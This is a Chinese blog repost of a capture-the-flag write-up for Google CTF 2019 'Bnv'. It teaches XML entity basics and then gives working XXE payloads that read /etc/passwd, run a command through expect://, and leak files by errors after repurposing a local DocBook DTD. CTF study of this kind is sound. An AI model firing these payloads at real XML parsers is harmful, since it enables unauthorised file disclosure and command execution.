欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

xxe-本地dtd引用(8-17)

程序员文章站 2022-05-14 08:49:27
...

[GoogleCTF2019 Quals]Bnv

xxe-本地dtd引用(8-17)

题目发包信息为json,但是如果服务器能够解析xml并且并没有相应的过滤的话,就有可能存在xxe漏洞,具体参见

神奇的Content-Type——在JSON中玩转XXE攻击

01 XML基础知识

内部声明DTD
<!DOCTYPE 根元素 [元素声明]>
外部引用DTD
<!DOCTYPE 根元素 SYSTEM "文件名">
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">

实体

<!ENTITY 实体名 实体值> 内部实体
<!ENTITY 实体名 SYSTEM url> 外部实体
<!ENTITY 实体名 PUBLIC "public_ID" "URL"> 外部普通实体
<!ENTITy % 实体名 SYSTEM "URL"> 外部参数实体

10 外部实体注入(XML External Entity即xxe)

当允许使用外部实体时可能出现任意文件读取、命令执行、内网探测等危险。

<?xml version="1.0"?>
<!DOCTYPE a[
    <!ENTITY b SYSTEM "file:///etc/passwd"> //文件读取
    <!ENTITY b SYSTEM "expect://id">         //命令执行    
]>
<c>&b;</c>

参数实体还能嵌套定义但是内层的参数实体的%需要进行HTML转义,否则会解析出错

<?xml version="1.0"?>
<!DOCTYPE a[
    <!ENTITY % para '<!ENTITY &#x25; files SYSTEM "file:///etc/passwd">'>
]>

11 引用本地DTD

当防火墙不允许引用外部DTD时,我们可以引用本地dtd文件

Ubuntu的是

/usr/share/yelp/dtd/docbookx.dtd

其他系统本地DTD

本题exp

<?xml version="1.0"?>
<!DOCTYPE a[
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % ISOamso '
        <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">//测试文件读取
        //<!ENTITY &#x25; file SYSTEM "file:///etc/passwd"> //读取flag
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;test&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
    '>
    %local_dtd;
]>

*参考文章:[1]未知攻焉知防——XXE漏洞攻防

[2]Blind-XXE与Google CTF 2019-BNV